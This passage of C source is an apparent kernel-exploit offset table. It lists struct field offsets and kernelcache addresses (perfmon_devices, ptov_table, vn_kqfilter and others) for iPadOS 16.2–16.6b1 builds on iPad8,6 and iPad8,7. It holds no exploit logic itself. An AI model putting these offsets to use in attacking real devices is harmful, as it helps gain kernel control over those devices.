0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,6\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,7 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,7\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        